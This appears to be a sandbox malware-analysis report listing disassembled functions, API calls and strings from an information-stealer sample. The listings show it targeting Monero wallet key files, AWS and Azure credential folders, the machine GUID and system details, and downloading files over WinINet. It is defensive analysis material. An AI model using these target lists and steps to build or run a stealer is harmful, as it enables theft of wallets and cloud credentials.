Part of subcall function 00401000: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,000000FF,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040104D

lstrcat.KERNEL32(?,00000000), ref: 00401CB2
lstrlenA.KERNEL32(?,?,?,?,?,?,?), ref: 00401CBF
lstrcat.KERNEL32(?,.keys), ref: 00401CDA

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426440,00000001,000000C8,00000000,00426562), ref: 00410BA1

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

memset.MSVCRT ref: 00401E9D

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Strings

wallet_path, xrefs: 00401C93
SOFTWARE\monero-project\monero-core, xrefs: 00401C98
\Monero\wallet.keys, xrefs: 00401D03
.keys, xrefs: 00401CCE

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$File$AllocCreateHeaplstrlenmemset$CloseHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1518627966-218353709
Opcode ID: e9d5ebe04bd7bc58995d170363b86178bbbe3cf24575e7001856d206ab765175
Instruction ID: 901e0a47ee0b89a43ddfaf22904e5be17bd7688e420c1fcef0611cd27edb7556
Opcode Fuzzy Hash: e9d5ebe04bd7bc58995d170363b86178bbbe3cf24575e7001856d206ab765175
Instruction Fuzzy Hash: 06715D71D00248EACB14EBE4D956BDDBBB8AF18308F54407EE505B31C2DE78264CCB69

Function 00404DCA Relevance: 15.1, APIs: 10, Instructions: 116networkfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00404DCF

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404E1E
StrCmpCA.SHLWAPI(?), ref: 00404E38
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,-00800100,00000000), ref: 00404E5C
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404E7D
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404EA4
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 00404EC8
CloseHandle.KERNEL32(?,?,00000400), ref: 00404EE2
InternetCloseHandle.WININET(00000000), ref: 00404EE9
InternetCloseHandle.WININET(?), ref: 00404EF2

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$H_prologOpen$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2737972104-0
Opcode ID: 88829cdbc13eaa028feb7f2b605196d4632ef8e36c7567f8413ee27c5444be14
Instruction ID: b48a0b941aae4b8094d1842ee2058a608b59a9df84dda5b7ed82bcf6dbc203b8
Opcode Fuzzy Hash: 88829cdbc13eaa028feb7f2b605196d4632ef8e36c7567f8413ee27c5444be14
Instruction Fuzzy Hash: D6413CB1800119AFDB20EBA0DC45FEE7BBDFB45304F10447AFA15B2191D7385A498BA5

Function 0041695F Relevance: 11.2, APIs: 5, Strings: 1, Instructions: 654networkCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00416964

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 004134FD: _EH_prolog.MSVCRT ref: 00413502

Part of subcall function 004135AC: _EH_prolog.MSVCRT ref: 004135B1

Part of subcall function 0040F997: lstrlenA.KERNEL32(?,00000000,?,004169B9,0042655F,0042655E,00000000,00000000,?,00417314), ref: 0040F9A0
Part of subcall function 0040F997: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F9D4

Part of subcall function 00417645: GetProcAddress.KERNEL32(76210000,00416AAC), ref: 00417659
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417670
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417687
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 0041769E
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004176B5
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004176CC
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004176E3
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004176FA
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417711
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417728
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 0041773F
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417756
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 0041776D
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417784
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 0041779B
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004177B2
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004177C9
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004177E0
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004177F7
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 0041780E
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417825
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 0041783C
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417853
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 0041786A

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426440,00000001,000000C8,00000000,00426562), ref: 00410BA1

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,?,5A&6A,?,00426563,00000000,?,00000040,00000064,0041366A,00412D12,?,0000002C,00000064), ref: 00416B55

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0041390C: _EH_prolog.MSVCRT ref: 00413911
Part of subcall function 0041390C: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00413B5E

Part of subcall function 00413295: _EH_prolog.MSVCRT ref: 0041329A

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00416C3A
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00416C56

Part of subcall function 004104DD: _EH_prolog.MSVCRT ref: 004104E2
Part of subcall function 004104DD: GetWindowsDirectoryA.KERNEL32(?,00000104,00000001,?,00000000), ref: 00410505
Part of subcall function 004104DD: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000), ref: 00410537
Part of subcall function 004104DD: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 0041057A
Part of subcall function 004104DD: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410581

Part of subcall function 00403AF5: _EH_prolog.MSVCRT ref: 00403AFA
Part of subcall function 00403AF5: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00403BA5
Part of subcall function 00403AF5: StrCmpCA.SHLWAPI(?), ref: 00403BBC

Part of subcall function 00411CD8: _EH_prolog.MSVCRT ref: 00411CDD
Part of subcall function 00411CD8: StrCmpCA.SHLWAPI(00000000,block,00000000,?,?,00416CD7), ref: 00411CFF
Part of subcall function 00411CD8: ExitProcess.KERNEL32 ref: 00411D0A

Part of subcall function 0040ED08: _EH_prolog.MSVCRT ref: 0040ED0D
Part of subcall function 0040ED08: StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040ED51
Part of subcall function 0040ED08: StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040EDC5

Part of subcall function 0040514C: _EH_prolog.MSVCRT ref: 00405151
Part of subcall function 0040514C: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004051FC
Part of subcall function 0040514C: StrCmpCA.SHLWAPI(?), ref: 00405213

Part of subcall function 004117C4: _EH_prolog.MSVCRT ref: 004117C9
Part of subcall function 004117C4: strtok_s.MSVCRT ref: 004117F0
Part of subcall function 004117C4: StrCmpCA.SHLWAPI(00000000,00426518,?,?,?,?,00416EC0), ref: 00411821
Part of subcall function 004117C4: strtok_s.MSVCRT ref: 00411882

Part of subcall function 00401ED6: _EH_prolog.MSVCRT ref: 00401EDB

Part of subcall function 004165D9: _EH_prolog.MSVCRT ref: 004165DE
Part of subcall function 004165D9: lstrcat.KERNEL32(?,00000000), ref: 00416620
Part of subcall function 004165D9: lstrcat.KERNEL32(?), ref: 0041663F

Part of subcall function 00416791: _EH_prolog.MSVCRT ref: 00416796
Part of subcall function 00416791: memset.MSVCRT ref: 004167B6
Part of subcall function 00416791: lstrcat.KERNEL32(?,00000000), ref: 004167DC
Part of subcall function 00416791: lstrcat.KERNEL32(?,\.azure\), ref: 004167F9
Part of subcall function 00416791: memset.MSVCRT ref: 00416834
Part of subcall function 00416791: lstrcat.KERNEL32(?,00000000), ref: 0041685F
Part of subcall function 00416791: lstrcat.KERNEL32(?,\.aws\), ref: 0041687C
Part of subcall function 00416791: memset.MSVCRT ref: 004168B7

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

5A&6A, xrefs: 00416ABD, 00416B04, 00416B0A

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$H_prolog$lstrcat$lstrcpy$InternetOpen$memset$DirectoryHeapProcesslstrlenstrtok_s$AllocCreateExitInformationSystemTimeVolumeWindows
String ID: 5A&6A
API String ID: 1955031769-2983527881
Opcode ID: 2ee3f8b9386a6497ed6ebd3ffcc33a71c189eb79d5fdec20d5bed9e4fc6e3802
Instruction ID: bb05b1d9e7c39d7df88ecf206bceb681005d45f58bf20589137b6770423741ef
Opcode Fuzzy Hash: 2ee3f8b9386a6497ed6ebd3ffcc33a71c189eb79d5fdec20d5bed9e4fc6e3802
Instruction Fuzzy Hash: AC4242B1D00358AADF10EBA5CD46BDEBB78AF15304F5041AEF54573281DB781B888BA7

Function 0040618B Relevance: 10.6, APIs: 7, Instructions: 70filememoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00406190
CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406216
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeH_prologHandleReadSize
String ID:
API String ID: 3869837436-0
Opcode ID: 64a3422522f7e7e46d77fb1e68ae032180970e1801099016b3dac20f8dd4ba7d
Instruction ID: 909566f9f53506b5aa2d8709c9cb46b640c87a2d020782bf56f99dd61eaf9922
Opcode Fuzzy Hash: 64a3422522f7e7e46d77fb1e68ae032180970e1801099016b3dac20f8dd4ba7d
Instruction Fuzzy Hash: 6E218B70A00115ABDB20AFA4DC48EAFBBB9FF95710F20056EF952E62D4D7389911CB64

Function 00410415 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041043B
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,004264F6,?,?,00000000), ref: 00410457
RegQueryValueExA.KERNEL32(004264F6,MachineGuid,00000000,00000000,?,000000FF,?,?,00000000), ref: 00410476
CharToOemA.USER32(?,?), ref: 00410493

Strings

MachineGuid, xrefs: 0041046E
SOFTWARE\Microsoft\Cryptography, xrefs: 0041044D

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CharOpenQueryValuememset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 1728412123-1211650757
Opcode ID: 690c6a79ccc41db0391f32f940e07a5d4ef8664030ade9d40bd6695f658342bb
Instruction ID: 59bbf989d6e17c2dbf70e6b3d9441336261c3d0a51168b80e9bc1bfc74bcefc6
Opcode Fuzzy Hash: 690c6a79ccc41db0391f32f940e07a5d4ef8664030ade9d40bd6695f658342bb
Instruction Fuzzy Hash: BA014F7590421DFFEB10EB90DC8AFEABB7CEB14704F1000A5B244E2051EAB45EC88B60

Function 0040FF81 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000001,00000000,00000000,?,Windows: ,00000000,?,004265CC,00000000,?,Work Dir: In memory,00000000,?,004265B4), ref: 0040FF8F
HeapAlloc.KERNEL32(00000000), ref: 0040FF96
GlobalMemoryStatusEx.KERNEL32 ref: 0040FFB6
wsprintfA.USER32 ref: 0040FFDC

Strings

%d MB, xrefs: 0040FFD6
@, xrefs: 0040FFAF

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 3644086013-3474575989
Opcode ID: 4f991f30794ae567231d4426d27710baedccdaada08d1eb6089db446b3004ae7
Instruction ID: 4fd6b884c886e70f5bea54c710daa34e5fcd35151b99761237641847ab172de6
Opcode Fuzzy Hash: 4f991f30794ae567231d4426d27710baedccdaada08d1eb6089db446b3004ae7
Instruction Fuzzy Hash: A5F030B5A40218ABEB149BA4DC4AFBE76BEEB45705F400139F706E62C0DBB8D8058775

Function 00415CA5 Relevance: 9.1, APIs: 6, Instructions: 128registrystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415CAA
memset.MSVCRT ref: 00415CD6
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,?,00000000), ref: 00415CF3
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF,?,?,00000000), ref: 00415D13
lstrcat.KERNEL32(?,?), ref: 00415D42
lstrcat.KERNEL32(?), ref: 00415D55

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prologOpenQueryValuememset
String ID:
API String ID: 2333602472-0
Opcode ID: 5908ee0a41c72f3eb61dbe54366e8acb213d08ed70dfc70b307fc866011581ad
Instruction ID: b1237888a7669b0395c9cdb9a6d9471705cae356a33a5f6a680b3cc5b253afb1
Opcode Fuzzy Hash: 5908ee0a41c72f3eb61dbe54366e8acb213d08ed70dfc70b307fc866011581ad
Instruction Fuzzy Hash: 8F419DB1D4021DABCF10EFA0DC86EDD7B7DAF18344F00456AB618A2191E7399A858BD2

Function 00417250 Relevance: 9.1, APIs: 6, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00417330: LoadLibraryA.KERNEL32(kernel32.dll,00417262), ref: 00417335
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 0041737A
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417391
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004173A8
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004173BF
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004173D6
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004173ED
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417404
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 0041741B
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417432
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417449
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417460
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417477
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 0041748E
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004174A5
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004174BC
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004174D3
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004174EA
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417501
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417518
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 0041752F
Part of subcall function 00417330: LoadLibraryA.KERNEL32 ref: 00417540
Part of subcall function 00417330: LoadLibraryA.KERNEL32 ref: 00417551

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FBCB: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00417274,0042656F), ref: 0040FBD7
Part of subcall function 0040FBCB: HeapAlloc.KERNEL32(00000000,?,?,?,00417274,0042656F), ref: 0040FBDE
Part of subcall function 0040FBCB: GetUserNameA.ADVAPI32(00000000,?), ref: 0040FBF2

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

CloseHandle.KERNEL32(00000000), ref: 004172D5
Sleep.KERNEL32(00001B58), ref: 004172E0
OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,?,00426AC0,?,00000000,0042656F), ref: 004172F1
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00417307
CloseHandle.KERNEL32(00000000), ref: 00417315
ExitProcess.KERNEL32 ref: 0041731C

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

